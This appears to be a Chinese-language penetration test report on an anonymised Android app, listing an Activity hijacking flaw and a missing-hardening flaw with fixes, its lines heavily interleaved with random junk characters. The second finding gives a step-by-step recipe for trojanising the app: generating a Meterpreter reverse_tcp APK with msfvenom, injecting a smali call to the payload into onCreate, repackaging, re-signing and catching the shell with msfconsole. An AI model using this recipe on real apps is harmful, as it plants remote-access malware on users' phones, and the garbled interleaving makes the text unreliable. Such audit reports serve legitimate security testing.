. e( h4 v3 n9 v$ j+ L: c3 t& [( ]
7 I+ [2 [7 G% O) X, t
. U9 v: ?! `4 A' w3 w2 h1 v9 }6 U ]; l
2 检测结果
9 x" L' `+ u* X8 r+ m/ i9 }$ [6 c
- a. V4 p6 ~, Q$ G Y( t' Z
* R; y+ ], I' _
5 y2 o1 ]8 @5 z. w j4 B6 T
% N2 H h! b) k( R2 U* \) y$ o8 L" Z5 ~- V }2 G
2.1 某某某 ( B" W# _" ]( Z& u
1 |( w. o- q5 E* b
+ @. a2 @5 O: H
) r2 O7 v5 ^+ x% ?) G
/ i4 m7 |: W) o( G
7 c& T/ B( p* S- z0 J
2.1.1检测目标
& h: ]- _1 O6 d8 V
, H2 X$ e. Y( u
! r. _) _/ i- p- m- n v# q+ e' l" j8 \0 j. U" W8 b% F
2 n! N" B' v; _! \
) H+ ~2 }' c1 Q. K6 |5 R! C' t
目标地址: 某某某某某某APP 4 _3 f' d a# `! M6 _
4 S2 G a* \0 w( O$ H
2 T& `# o: D) q2 }! H
8 q- ], t' [ Q- g2 |8 v- K
0 S) J1 w3 T- F. B5 h! M5 I& e
5 ~; s' q- J( G
2.1.2检测结果
. Z' x! S3 K1 }& g' e% s! X4 l( n' D0 L; X
8 m6 t; n% \& a- k$ F) ]
4 q, L; X' X9 Z: _9 h# j% R . Z7 ^& s; l) X8 Q' e7 {* _
8 M+ K7 U3 U& G9 N, p
2.1.2.1 7 z" m7 l1 h, B- `6 Y1 p
1 }4 a6 r" y4 |
: a* W3 e' m. I
! @- y C: ~2 l: x# y& R K$ r
, Y% X7 c/ C+ x9 l7 s. J9 U$ J7 G5 B1 H+ O$ K6 t; i
漏洞链接地址:某某某某某某APP
Q6 z9 K( M+ j# G9 x) x1 I/ q+ d" D6 s
" W- }! t& `+ Z9 E4 m
/ S+ n8 q0 y9 p; q0 t5 ~
t6 c) s" P4 o. R: x
2 y4 u/ e: c1 c; o' p: ?
! o- }. q- n: h1 ^9 R. S6 f
$ K9 Q8 m4 }+ U
' e& w; u4 a8 E' I) `
2 X/ }3 G, s. }, K0 Y% l" r. l3 j 5 c! k% q5 _, n, d- o
5 V) | ^1 \, I7 v' r& R/ ?0 m$ v) Q 漏洞分析及取证: 6 C. x- Y5 F* F
' q6 ^7 N* x- R3 p* K
( y8 m+ k" Z' F; r
7 D0 S5 r- R2 e4 \1 |
( J$ u1 v& y0 {5 V5 I
1 c- `: m! m7 s4 j. L6 u
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: + `, t) B& F" ?0 z" [( D& `
6 N: W Y8 M! e) M+ g2 ^
0 |( h) f' k H/ Z8 p: G, S- O4 {# s+ D. V& J
5 ~; S+ Q# }: j: K* N( V1 U! I( [5 P; A1 {3 B4 D% d; G _$ f% R
0 N: e5 u8 x# {7 ], f
+ d2 f, ?* ^: b
( V* n, R8 m: r- L( {% D5 C
) @ D5 r' B+ E: o7 G4 q! ^! l
2 r, F; v" p5 ?4 ^& k9 j) B. l
6 K: a' V5 H2 N4 a* g
* l* j2 u# S4 f' T+ f) A. u7 g: C
7 R3 e' v7 H7 h$ C% B- j& q/ y
, g( Z* `5 W* P x [* Q4 M8 C
. O1 N% ?" ~+ G& j
B; r( z8 H6 Y0 A( Q g2 U
. t U$ T+ s5 ^+ B R
0 z( ]: D) _& L. |
, ~) `3 m1 O; z5 j9 w% _4 Q. k
2 v8 r1 Z, e* R4 m
% X G4 o/ h/ j ) q- L7 [/ _0 J6 a- S% p3 K1 U6 i
/ q/ \( I; f7 i( a/ Q9 |
3 P' t/ D2 U/ O& W9 N% o3 [" z
$ |7 ?1 w7 d, v( c" a3 n. k; b# Q
+ }* I3 J1 b* u# E2 O7 Y: I
u9 `8 R8 S2 S" @% i. S# D- [" s 0 r) _! I" f. i5 u) z4 V. f
/ T% J- Q$ d) i
1 K& d3 Q y7 r- n9 q9 Y1 t
- g+ F! H& `3 ~% X C( l, U( J
2 s. L1 ? i8 V' G; \1 _+ r
6 E% e$ c9 \ Q
$ Z/ O% `, J) Y! U8 B1 c. w
8 r& @, @- e- b5 @ ^ 漏洞危害:高
_9 @4 A+ @ a/ d; h1 Q/ b
* n% r8 F( P+ ^
. G* q& i. x7 ^3 y
& [1 J" U: w* h; R# o
9 P$ q$ s x/ W& ~. _& t0 b
0 \; m* ^) A& g0 U8 n
' @8 f" ?2 a. L! Y% o4 ?( r
/ Q5 ^. {/ t% O5 B+ T F% X# G4 J% B3 R& }4 C
( U/ E! g( M: \# V; o% K 0 f: N% j; [# X# M! k
2 J; d6 u& T8 U9 O
| - y# q0 z) k7 l" P6 b
4 x- b5 c: C2 O( W
# @5 C( C5 x1 l6 a5 r* g0 g
8 A8 H+ D% [8 Q: s; D1 g
严重程度
% O1 M) N) s6 H1 _" {* i1 Q
7 Q& e8 W1 r( a" ]0 y9 ? 6 B8 b& ]5 i6 R. M, M; R f8 x- o
- A9 ]) T( B& b) w# \9 V |
p, @* W" P+ w6 o* A3 E s3 p' w7 o0 z' p+ h u' ^
! G9 g$ k4 k% n1 F+ v F- W. W
6 q) f$ `+ P! o& s/ V) A5 g
* N$ H( g/ o k6 B) {1 c" c1 F0 [# }0 w( W! V( E# G3 ~
高 5 H+ g4 V* h# V/ R, Z5 ~; c( q& f2 f
4 W5 J3 b5 \4 i0 O4 U j - K! V! ?6 c* o! B; V0 W
* b2 I; u$ Q( j1 H& D) g0 H& |: ]* _( E( ~
|
) s4 D# w# Z N+ I2 K( M/ q: O* O1 U) }
8 Z5 T! K5 q6 v2 L+ \. h2 F5 F4 D
5 S3 L& V5 k" H% Y
9 i+ A! h d( W9 l. @4 y9 Y3 f% ?# d' g# X
■ / N L# x- p" I$ Q. q' P
# a3 J- O+ ]2 X0 `, K/ S9 j5 n% J
# A$ g9 Q% A# F$ K; f
, l4 V `# A7 O; g! R1 n | - U6 c7 k( b. M" R9 u
W& o+ `* @$ X1 W. v) C; g; k$ d % J: ]* G/ {# h) @( ]$ y
& C0 g% P! @$ A- l 7 _5 R+ q- n9 O6 L3 w" A4 H0 p
& C. w) S* E& h; u" o
中
2 l4 b9 i* j# B3 P* X+ L! Y0 o/ V( a! l' w6 Z
L6 ~* W( r1 K6 R2 \" K
6 ~* W$ s4 R4 U. V: S9 O | . I$ h$ _9 q" n/ X
" I( g, _3 C( h1 S2 ^, ?+ v 8 d' x0 x/ f2 R3 Y
E0 Q& C* D y 0 g* X/ E6 P, b/ l9 s
* g( g0 _- D8 z
6 h& J; c" Y+ |- _8 k( M
! N- Y; O! u% Q0 O6 c0 Y: q
5 _; h9 h, s. k v* A% {6 B
$ a) ?) x. E6 T) M- s | * G7 n7 A( ]$ h9 l4 b$ s% _! z
: V" i% x# ^7 c& S6 Z7 E4 Z& y( r
9 u9 }2 L) q0 V8 e( }8 l' d
1 o, N% i% v3 x) t) w1 M; c
$ C& z) o9 F: u& O! N
" \$ r; W6 u; I' M) A, @! [* y- w 低
0 L! |6 d% w' N2 y5 i6 ^/ }: @# B
1 R7 U3 y( f0 o( G! k+ Y7 H E 2 S% f/ D! _! n$ e$ Q
. c4 _% h2 ?6 g3 X |
5 x8 ~$ g6 }( z4 U( p3 i6 v' D2 W$ a c& E+ g
; i; E( p* S7 V' b
+ g' p- P4 ~8 ~+ t, O6 `) T: b4 l: M
: e7 j% H" C* H7 Q/ R/ g. {* q
& r& ]+ i" h* ~8 l% | ( J w: R% l5 {1 X
4 T) n. ]- m4 r& M! \# {% f % ~% |) ^' F( V9 s2 ^ {
- w0 j" E' p4 j8 X
|
1 a0 N1 ~& |7 |5 B. o0 f& i) Y! i( ~7 u
+ K7 w/ ^" Y- h5 z2 V4 m \% K6 R) E8 {. J; E9 {. A7 J1 ]( V: @
- [+ u# J: U2 a1 v4 m) G
% T1 U1 d' ^! T! Z$ ~. B5 q) m
8 Z% U: E( [" V
0 T7 k! A2 P% y7 \$ F% T 9 }( q6 b. W- w3 }
6 N1 A% S W/ x9 G * ]0 P& m- b/ i, C( \
$ d% D3 q9 z, u' E7 H8 \ # m$ h( d! t( u1 J( g
+ _+ n1 x# p# F( F! _6 V
f+ M1 s; R% R( B
c8 ^3 X& w- e/ [) i* m
6 H/ e3 [ y1 R6 M0 i6 ~$ n1 {7 q
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 4 |7 O1 N u l) P: h6 \ `
4 t( _0 w# Z( v8 b8 S: M
# e6 r% O; B5 ?$ l: D) S4 q( [5 ^: _2 @* M& R$ b+ {. t: u
# W7 O0 G9 E1 X8 a% v5 O4 q3 y, P2 V7 c: E$ [% F
7 j7 i m6 e( @) |6 I
% k9 A4 ~4 `+ O' B8 b
5 b) o8 j' t+ E2 N8 E
* \/ }- x* D2 _3 g) a
/ a% q7 Q4 _. o7 _9 ` g7 m0 {- e S2 a" c# T
" c# z) W5 n9 C5 y
" y8 `4 Z+ _$ O8 O: L0 z& K& L
: d: Y; A% Y; C2 d
3 m# Z4 N7 q5 |5 s 5 f' T3 o8 j9 \/ l- Q" V! t
. x G3 w* S2 f
2.1.2.2 ! g3 ?' j1 R9 A; O8 N7 @. m, A6 r
+ w( ]- I* \* }, ]1 o
9 U) { z3 o [6 I2 w9 x% `% J( T! h5 L9 \9 J
. D/ }5 L% H9 M$ P: E" b' }9 d# F' {9 l- R
漏洞链接地址:某某某某某某APP / L( s F8 [( z
) k( B3 I6 N v5 ~, ~
' _9 q5 S5 {+ N8 b, y" @
) e! s2 w* `/ H7 @# D6 |8 F & m$ h& N% ~( h; T( Y. n+ j
" T/ B- A7 W7 t( V# j
漏洞分析及取证:
- b D0 V7 [" r% @% o' a8 G3 ?# L& T, q! A
5 H3 s/ p+ {0 Q* J) T/ _' u
3 |$ |3 r ~2 O
4 R% N- G8 P2 u! Q9 t
3 e2 m% B) g7 o) y 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 1 l5 r" [# [: c/ F2 ?, `
- j( Q9 N+ D1 I* c1 V. [6 v! G% W- q
: R" g6 Q; Q0 ~! W2 Z/ G/ H
$ B1 h- n1 t) c( E6 z$ w
4 r: H2 X6 E9 V- c* H5 D
; w9 o* y7 y7 c7 B# d E) C 用Metasploit 生成木马 apk
$ U0 O" U# J9 H% n( y: G+ |% u) w' S! T$ [) Y
9 O5 W* p- n% ?& s- N
- I8 M8 m0 P* S( x1 L: U
: _/ ^( c( B: _8 f
4 X# N6 p! S% W) K
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
) ~, |: x7 l n3 _+ F; p9 S
& y" y! X' n+ [, K2 q
0 h7 X# u4 A; D) a, s. J+ ~
) J* t& K2 t8 o. R6 @
4 X2 U0 Q Q$ M4 k( W4 e# K1 V
3 H3 g0 }* S5 E3 [' }5 J/ g* {
反编译目标apk和木马apk - ?, i3 H! l, m! J* d& A
. _; S$ ?! |1 {; A
* n" f! Z2 H w
& t1 L! C& @0 C% }% g$ J( N
5 P* _8 F5 ?# C# t" W" B1 j: `+ n/ t- c) d; {8 q* H
apktool d target.apk
: Y6 v' P1 Y) ^0 s2 r
) I- D4 a6 T' U- ^; |( w! F' @% h apktool d cockhorse.apk
+ \- n( \5 y8 }3 \ ?
4 K; f6 J; h* E
+ p) L4 z! I! y8 N W! Z( S- u0 d
8 D! x1 ]0 r, V6 }( t5 T) l0 T
3 y6 | q& f6 l
1 L$ e* ]! X* ~9 _ 木马 apk 注入目标 apk 9 e3 P& @( i* T/ K
- C* t+ ^: u- T @( y1 i
3 L# @$ @0 f9 k7 q
$ h/ R/ T1 u: v- d/ e# z9 T! ?
+ m& P/ p; X8 a" u2 H8 p9 q4 G3 `- O! D$ j' g/ L
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
0 L& O& J; c! ^* u1 K: I% E) J
. _. M( r7 }: X P
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ) i$ w5 l [6 v0 H
& _0 |4 H- v; e! P0 K. Z
: G+ ]2 S/ }" l$ i# K1 }2 o
' w) r2 w; `: P4 X* A4 U6 X
$ u7 O- z+ ]! h, ^
" E0 \+ \: n2 d! G6 k8 z 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 & ~* x+ V7 Y, Y/ V: w! F
5 U) Y: S% x0 N& F
3 g3 M% T0 P& _& j4 o, d) _0 U
1 B/ f% C. n3 o: K( P
) e+ Y2 _6 V$ ]; g# u, L" L1 N0 v
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ! m7 p; f/ Q" R4 f- e) y1 Y
4 t2 M+ \( W" s) @) n) J+ ?
) z3 e! f% I2 m0 `# j+ t! n+ H H- \" Z& v7 }7 k4 P% w/ p
. h# s- `. W& W8 E! S+ Z( M! y% t# ~% x6 D, q
回编译生成最终 apk
% a% f X+ I2 U6 O0 G0 F: K/ e2 G1 ~
2 V" `2 r J2 z& r% l7 B
0 o5 y5 d4 x8 x5 |# a. N$ [
& x9 q$ { q. {, C
9 i, V' m; J, L j3 \- S
+ R1 x0 f5 R8 d, D) q1 G
重新打包 0 z+ F9 i6 V' G+ Z( c8 Z
* [2 j5 v: V5 D0 c, r. m0 v
4 p6 G" B5 C* ^4 O" a9 }8 P% ]/ i7 b' m
* v5 s$ E0 I# y6 D: w, U% I! e. _$ K* L; s* F/ T+ }
apktool b -o repackage.apk target_app_floder : `: d1 U y7 t0 s U7 W
l& `: O. c2 ~: Q
" V, [9 X6 r& l7 k$ }6 M1 x% B
! `6 @4 m, g: {
! J; T3 N0 B( d" F3 w
2 {; a# K' _& m ?) U" t 创建签名文件,有的话可忽略此步骤
+ l5 E, W! e& z4 D& L; `
4 A0 s% u8 ^& ^% ~0 ]
/ y& }2 G, M' K
+ s7 R9 x; b4 U: x% K* F4 x
2 ^( E# P% V! M Z* B- [4 w% N% c- p7 P, k
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
, p/ u! j# S' K8 A- w6 }$ L0 w) p0 o- e& ?6 b" U+ \
! J) t+ u- ~) j/ U Y9 Y0 Y) \4 h6 X
. m! v; E" `: A6 r0 A6 S9 p
6 w* t) |5 N; O4 \+ L% y* \* N# k 签名,以下任选其一
4 ?9 t1 C1 n' o; [ x' T' B$ Z* m+ H. Y/ ~
9 Q9 {3 ` T$ T% G- T" R& z; i. u' t$ r K
* K ]0 X" z* w5 D6 B4 @
+ v2 ~5 C4 p# R8 {0 s& M jarsigner 方式 + y" J( t# W! e
3 J Z0 j1 H! g) `- |
" ]$ R) O% b. c# ~
) |, O& l3 u# H' W0 K
( Z$ T$ z" i4 N
7 m) M. I1 q& {2 O jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
. z; _9 P- H0 {+ j1 u* w, U# Z0 n- [8 B' T3 p7 Z+ P0 @$ w- r
3 W7 V* {/ b _; S: Q; C1 H5 ]: Y
9 W+ O; Q2 H! P3 M/ F- K+ z5 X
/ r5 a; T$ ^# m4 ]5 u
* m0 [7 `+ r! g4 s7 @ apksigner 方式 . h/ p3 M1 Q3 j6 ?
5 Y! l8 i$ u3 y; W' _; K$ Q" U+ _
- e+ `& L" A8 N! n P
% t/ \/ j9 N$ P2 B! {$ l, [6 s
7 P, a5 J* |! m" ~, d6 R& g) q4 j! k* p
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
" D0 ]# ^3 @6 S2 ?, C; Q
' F+ k) s9 `8 P5 o% z, ~# K# h# p
3 ^% b/ J; L; Z, Z" h" w6 e: j; d& D4 G4 e. @
4 ~ F) Y/ C* V) P: U# C+ O
/ r, a' d _0 A7 o 如需要禁用 v2签名 添加选项--v2-signing-enabled false
% i# i" G* M8 \0 u& ]# I, E" a, B" P! E3 i
) M7 Y: Q/ {" n
/ w; x) l4 b. D- S7 D$ D- l
& P4 {+ V+ A! d: Z. ^- B
' G$ a8 y+ R# b( X1 q 验证,以下任选其一 3 V. \" I$ b |& I3 i' x% U/ t
" C* w" h/ l) Z" u" y& T! M
, n/ s( N& X( p7 ~0 j0 A2 t* @8 F; b; a* c& D! M0 f+ t
- N! q5 {0 a- x0 a9 V* p& a5 Y# a2 z3 y
jarsigner方式
# t F( L2 L# A. o
/ F. W" n( ]8 z. m
; I% K. \: n8 ?
9 v$ j" S+ S& c
- r: E0 A' n- Z. F+ z: d+ B
d: \' s7 |, h$ T9 U3 p jarsigner -verify repackaged.apk
. P) y6 J- Y q k: u" D z T0 D2 e3 X2 D2 t
8 |/ r( |; H0 u4 Y, N' A5 e; x, W G2 ]6 B
% Y/ w+ \/ j& a* K/ _
1 J( L$ b9 M9 Y
apksigner 方式
6 u; B1 B: C' }
/ I; p: }8 w9 S* L' w; L; w
9 K* N& R) k1 o8 j) Z
6 b- J3 ?; A8 q ) i% t2 Z f; i8 T, n6 F
3 M$ }* y- v7 C% x, e apksigner verify -v --print-certs repackaged.apk # r; C5 ?. T8 C( u' ^& L2 N
% X* M* j' M" q) {+ C, k& Z
, o+ s& a/ N1 w% }; h0 x5 ~
; u+ M$ `, L" a$ w7 u% \# J/ E9 R/ V
+ R5 g$ I; I3 \8 X6 s& } D. Q9 I: }8 X* A% ^& \( [" A( y" D6 k
keytool方式 ( L, s8 ?% h) ^0 q
# E. s! j# Z e2 ]3 h0 x1 l
4 u7 v# F& C( p o" E- M0 o. i3 A: k/ v& P; X9 o7 h
* S2 E+ X" u7 x9 ]( i3 _) h
9 O6 S, {6 C2 R1 [% y keytool -printcert -jarfile repackaged.apk
) e L8 Y6 \* g
4 K0 w: x* p3 t0 f6 L' b' D
" s% A2 g# k% Q
. E; \ n3 f6 I2 f6 ]0 v) ~: | . j- A5 t) @# g/ R& h
' _1 x. X0 Y; o# t# D5 a, F5 O
对齐
. m- f, f4 A6 N" b8 g6 ^3 F' q. }) `3 D& H, ~' ^, n' c+ c
4 k e- I) y D
: Z& X" B; E( O, \ 8 w$ H4 t- ^* t" h
; F/ ?" u4 w* q7 D9 n
字节对齐优化 ! v# H1 t3 H& b }, q7 v6 M
# _+ G" G' P! K; J
6 A2 k( w6 K0 C4 U' l1 G6 C* g2 L' z9 X7 V( V! V
) v& C* L* \) G, P w7 O; D6 W4 x6 ?
2 }, Q( b/ Z) q, }+ n4 Z: R* t zipalign -v 4 repackaged.apk final.apk 6 t# O, [3 [2 m9 y) I5 ?! i6 ^
" J& w6 i" y' c0 K
4 p3 w# F1 R! x* t) v' ~$ p" @; H) S7 ]" p
0 V$ M. V% Q# Q 5 w; J6 h/ q! q$ H2 O& E2 P* ^
2 K2 Y/ o3 M% T$ N( ?2 U/ b! v 检查是否对齐 $ c/ x5 s/ w3 i/ o) ]
3 c% s0 Y$ P0 {+ B+ s* V
- c) R! v c) {3 N, o: S1 ]" |& f# A" I5 q7 ^/ @& x4 }
% i( U; C6 b, q! y. {
8 _* q% Y t- |! R
zipalign -c -v 4 final.apk # A* U( ]/ G4 g' s5 X2 _
! R$ ]: F. l6 B0 u. l* W3 K; V9 _
4 K! C: D+ ~' D9 s" d8 J g' v
6 W& o% o7 s) v' X: C
$ M+ i2 U" S% ] `5 Q* F7 Z1 }6 b0 u/ n
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 " j4 W+ m) f& u) ~9 f3 a" s1 @7 c! T6 @4 }
2 d% B4 B; [8 O# z# S/ A f
# p$ H0 i/ @1 d. \6 j
& k" g7 n0 B$ o- v6 R4 ]; F
" \- `" l+ A6 |+ |3 C" N
5 U& i$ Q5 B& _0 g 启动Metasploit控制台,配置参数等待上线 6 X9 j; i: y! H1 T, A0 u# o
9 q5 M8 _! ?3 M/ f. x5 w0 y' H2 y
1 P! |; p$ L7 a- E4 S& f2 ~; [: e/ |" u3 p
# H/ q5 d# {2 F' y* j, p6 l" q& e( c" r$ `6 V( B
在终端依次输入如下命令 # `8 ? q0 h4 W
& q8 ^8 q' o- C. z9 B0 Q f0 O
/ q1 S5 z+ b1 ^( l. ?, J' J% Y
9 d* G8 S" q( o
9 O- R' X3 h) T0 K; G% _ B# A3 m" P" {6 A: c4 M5 w
msfconsole - n- \3 e( b: y
( P+ j$ w' E# B9 V' m Z. |; s
# q z/ K- Q' Y/ t I9 j3 x% @' [
B/ Q5 b4 N* s) G0 {# |7 I- h# `, K' i1 @
) P5 F' l7 ]8 C6 A* R+ `
4 M, n5 ~) y+ C+ b. O use exploit/multi/handler
% n" p% |( R0 f3 i+ S% Z9 p- V2 O% G) o8 p. L# O
1 E+ r% _2 _' c! |+ ^& I" F2 B! Q t- s5 k; o" V
0 Z7 T% t9 M& h8 J2 G
& {( g6 w( s! f" S
set PAYLOAD android/meterpreter/reverse_tcp * a' b; _1 H' v' _7 n- _% b' j
% M( j' J2 {9 w, X# i
' d8 a! M" |9 W1 R( [; h2 w! O6 T0 \
$ G! A3 A) ~9 R
- n: j, E- K9 J: ^! n" Y0 s- q4 k. E2 S2 M. |2 K3 i7 S7 B
set LHOST 192.xxx.xx.xx
) x) D/ S5 q7 e8 d2 Y3 F+ Q
7 x) {, X9 |7 k: d% h+ U6 |- x. t
) m: X* F+ s4 Y6 x' ^9 u
) z6 P1 [; i: M1 Q
( s S) k9 g2 P. p4 h8 R. p6 }' N: ~$ ^3 s+ K6 w( R5 ^
set LPORT 4444
" ~) k7 ~( ~; A3 N$ v
" p( Z* ]2 X+ C4 ~
) r0 U$ N" R$ n s1 n; p7 F1 X) E* H4 S8 q1 V: c& o5 S+ P p6 H
0 f; c4 n8 t1 _' n; n% i1 b
! n" p! W7 {5 S* R0 W exploit
, D6 Q: {/ J/ z/ y% D2 e6 Q& h' _+ e
% ?6 E/ d0 G/ R0 n
0 R$ ?, z# i2 [8 C! k9 g9 ~ 4 n0 B. H- t( G$ M- ~ |( v# Z
: Y% c: b5 H8 i' f" s) D
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
( R* d6 B" ^% H* q* Z9 f2 j" W# X& V! T7 S, p( K
1 g8 G/ {6 y, R/ }: n" b( N
* e' o, ]7 Z" }7 c : V5 _2 K5 ]# b, c3 v& |
' q; b& {& ]$ \% n5 F: c8 H0 @
漏洞危害:中 * P$ A8 ?3 H! e0 R" x+ i
/ f8 L5 S! I+ o& @" v; E6 h
/ U& H( B" f$ o. O# Q& k2 [, j
( k% n: }0 C* H a9 x 0 P9 V6 N3 E7 O, X3 d3 C4 d
3 ^1 _8 Y/ Y' l, `3 _
5 E# X" j3 d+ `4 o' O
; t- H2 l: {( C* A2 ^$ n* J4 [" }( L 8 `7 C% Y& n1 \: M3 o( F
* a& N" V8 O8 V# |7 ? 3 Y1 x: D3 D8 K
8 h* q, M6 k8 H( L5 U* [) k/ I
% K' Z7 _9 c; J; z* r3 s0 ?+ `& J% {
; J+ r/ z- j3 q! d |
7 i" d; q: C: c; g* k
5 B1 Q3 W7 B" N) ?% V ) a o+ j5 Q' n5 \; O9 Y
2 y* r. t2 ^( n+ X. M6 s
严重程度 ]; ]3 B& w" i' \( v% g2 `7 Q
+ q" m' t: i) b; i
' K3 E- E5 N- F3 K
' [ ` A6 Q; |; Z f
|
. ~5 L1 V- r% T+ {" b5 }3 E9 ^- F1 X0 N3 K \2 d' ]% U
: e; @7 A) j7 z. R1 d
3 |% h( s$ E# M' Y+ S8 ^4 G1 L- a
5 f2 R1 V8 M u* z g/ K9 E
, `- e: \# U: D' m, _9 u 高
7 _2 G% }1 M4 N7 S: e1 G; e/ Y& z7 M" C! W8 z l0 m6 t4 [% n
; [) a) w6 e8 z6 Z# A! R
$ ^! L0 _+ Y6 O3 D( u; ~ | : O o! g3 h' U7 `9 i- {8 W9 Z
+ a7 E- L& _. o , L' I% {, g9 U9 ^; r3 ?1 \5 I
4 v; d( f# l2 z8 K
$ @) t( w7 p/ [' n* V+ o
( d8 ?3 @: M/ u- q' d+ @3 \# S4 K5 O
■ & E& { m: y1 G- v# A. D8 q6 v: w
' z6 D4 e: G4 V. c 4 h! N- j- I9 t& q9 w, l7 X
, `$ t6 I0 ?9 r' P4 \# t9 @ |
% D. L0 c K; {* W( b1 Z
* T- n- u0 ?. W( W" x
4 e3 |8 ]; |! f( i0 { b) ~- S( Y' j
/ L" M. r1 i- q8 T- {' V & i: P$ D& ]! O) e3 \
2 d$ P- I: W' M6 W& [# R% | 中
$ k/ i0 @4 o! h; V0 L' \- X2 u4 p; I7 |5 I
% @7 e. A# j( ~$ u7 M. Y M4 J& N
' }7 U# r% V u6 h B | * y5 k6 P/ B# L, M* e( t4 m3 s7 t
# v! k7 T% L1 y: A. l' Y * \; ^+ U; }) ?
# A4 K( ], }! c4 r, W
/ G) d8 P9 S. Z2 _. G& x$ h' Q7 o( f' X4 X5 I/ y& Q/ m( n9 B. J
( X( v$ F0 T M1 G, E4 w" W
/ W0 m) m) C# \8 p! N$ H
9 e ]6 t1 r6 l" @9 H7 i8 O# [
! P) ]" q b& U; O
" Q8 c9 w7 ]/ @( i' `$ z3 X1 R% Z1 L
|
% a& U6 E7 s. c* Y+ x2 E* y E' D3 N/ v A' I e5 T" [( I
! c6 L4 d3 Y- }# u+ A
J6 S6 C/ H* o9 D4 r% M
$ a3 X4 z5 b( z: O2 d N' D
7 W* u$ I$ ]5 j1 g! g3 r- W 低 & m7 P u. _% b6 w
) [" y& ]) m+ _" Z+ y: Y . A) U n, O" q0 W; l1 m2 z* |, H( K
: i' D8 r* Y( q1 s) y
| # x! O: ~+ U! q3 i; w
8 X3 i' [3 D1 G! X2 X( L# p% |
; }/ [( [% s5 ] h6 \
& U h7 U% s4 D+ Q' `% ?5 M" U
' }9 A, y1 }+ `5 s1 S0 S9 N y* @$ q, x; t
3 D0 ?4 Y, S2 p1 K
% `1 Q" q% O2 S4 ?
% i( a/ c/ x! Y' |9 \
! J" C- n# x/ @0 w2 b& }+ u
3 y- O& I$ A Q/ U: `$ z3 j$ K# G1 a4 a% G P
|
" Q7 K7 b; ~. I2 R$ h* ]+ d" B; a4 M3 @# A3 y8 z5 n$ u" N' h
% R& m5 G' b# E! s0 f5 w9 j
) Q3 v. n+ h4 ^( j
4 F2 r Z/ J; V" b1 T. O$ b5 Q( F! C d/ C
: v- K, T) o, {4 O) E- {- ]# D, k( t+ h( x4 p& O
. @% Z% j0 O' G2 M3 y& a; M# q; ?- }; M
$ g! m9 G0 s1 }. v
& ~# P, a# M0 z3 U
6 a6 Q7 v7 ~% t2 j) f4 ^2 p3 D# A
7 z. r4 ^' v! e0 }3 D% M/ k- Y( I/ A: N
! K( R! S) q( x/ ?/ e" x; j
5 i! z6 I0 b6 y 修复方法:
4 R$ A! w. @7 Y
0 T% Y& ?3 c; Q2 W# |! i# g
0 l/ {( S' y" o3 A
: }3 ?- f' J& \) H; U9 d. U
* g8 k9 z; ?* T. U- s4 @0 n2 j3 j9 }% X j4 [2 [& n5 [
1.在 APP 启动时应做签名校验防止二次打包。
: U& ?- x# [( p" m; }
$ r# o% |. d* b 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 : `8 O' @/ R/ i! q
1 p, M* ^! Q* b& h& v8 L1 ]
6 q+ k) r1 [, W
$ _! m5 w- _5 z$ t# B # e f0 X r# N8 O
L) f! L- B( p6 ]7 j
2 e+ M( A2 x% @
0 i+ {9 V% V Q. R; O3 S7 Y
& t6 \! m! ^' `2 B W% Z6 [! J! x, h. U. s
* N: ~' H* p$ c) @7 F) {( Q/ C
: w( P% u" m/ Q& I% P- u2 v; O
+ q. }5 r, H/ P. X( Y) A: _4 M" `1 n- U. R" Y
b3 a& m) A. O4 W: C7 F# C0 _
/ G f' ~9 H* \! |
5 g+ p' m' F7 T% t$ S7 V8 j. W9 e/ U/ m9 Q. j' I
/ e; E; c9 i7 h8 B4 g+ U& {3 Y6 W2 b